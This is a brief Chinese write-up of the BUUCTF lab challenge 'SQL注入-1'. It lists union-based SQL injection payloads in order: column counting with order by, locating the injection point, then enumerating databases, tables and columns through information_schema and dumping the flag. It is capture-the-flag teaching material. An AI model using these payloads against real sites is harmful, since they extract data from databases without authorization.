提示:文章写完后,目录可以自动生成,如何生成可参考右边的帮助文档
题目
BUUCTF的[第一章 web入门]SQL注入-1
一、做题步骤
1.测试
1.输入id=1
2.输入id=2
3.输入id=3
2.测试注入列数
id=1’ order by 3 --+
3.测试注入点
id=0’ union select 1,2,3 --+
4.爆数据库
1.第一种方式
id=0' union select 1,group_concat(schema_name),3 from information_schema.schemata --+
2.第二种方式
id=0’ union select 1,database(),3 --+
5.爆表名
id=0' union select 1,group_concat(table_name),3 from information_schema.tables where table_schema='note' --+
6.爆字段
id=0' union select 1,group_concat(column_name),3 from information_schema.columns where table_name='fl4g' --+
7.爆数据
id=0’ union select 1,group_concat(fllllag),3 from note.fl4g --+
获取flag{union_select_is_so_cool}